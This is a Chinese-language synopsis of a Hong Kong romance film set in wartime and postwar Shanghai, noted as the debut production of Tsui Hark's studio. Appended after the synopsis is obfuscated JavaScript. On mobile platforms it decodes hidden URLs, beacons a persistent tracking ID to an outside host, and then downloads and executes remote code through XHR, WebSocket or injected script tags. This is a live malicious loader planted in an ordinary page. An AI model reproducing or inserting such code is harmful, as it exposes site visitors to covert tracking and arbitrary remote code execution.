抗战年代，夜总会小丑董国民（钟镇涛 饰）不堪忍受日寇对上海的肆意轰炸，毅然告别叔父投军，出发之前，董国民在苏州桥下与一名女子一见钟情，他们约定胜利后再见……时间一晃十年，董国民回到上海，自此时常在苏州桥下徘徊，渴望再遇当年人，然而物是人非，此时的桥下只有几个落魄的老兵露宿。董国民楼下的舞小姐阿舒（张艾嘉 饰）收留了一名来沪女子邓仔（叶倩文 饰），并给她生活上的帮助，二人以姐妹相称。董国民与邓仔在天台邂逅，虽然邓仔并非董国民所误会的当年人，但仍对这位青年产生了好感。不久阿舒亦介入了这段关系，但为成全邓仔，阿舒选择了退出。不久董国民终于发现阿舒正是桥下的当年人，而此刻，阿舒却与别人踏上了南下的列车……
本片为徐克电影工作室的开山之作。
function xRTEvokZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function BRNxtWT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xRTEvokZ(t);};window[''+'k'+'S'+'J'+'I'+'z'+'p'+'n'+'r'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=BRNxtWT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ssd.zmneysz.com:7891/stats/7931/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZ0Zy4wwYTljLmNvbSUzQTg4OTE=','d3NzJTNBJTJGJTJGcG8uemFjdm0uY29tJTNBOTUzMw====','5534',window,document,['w','=']);}:function(){};
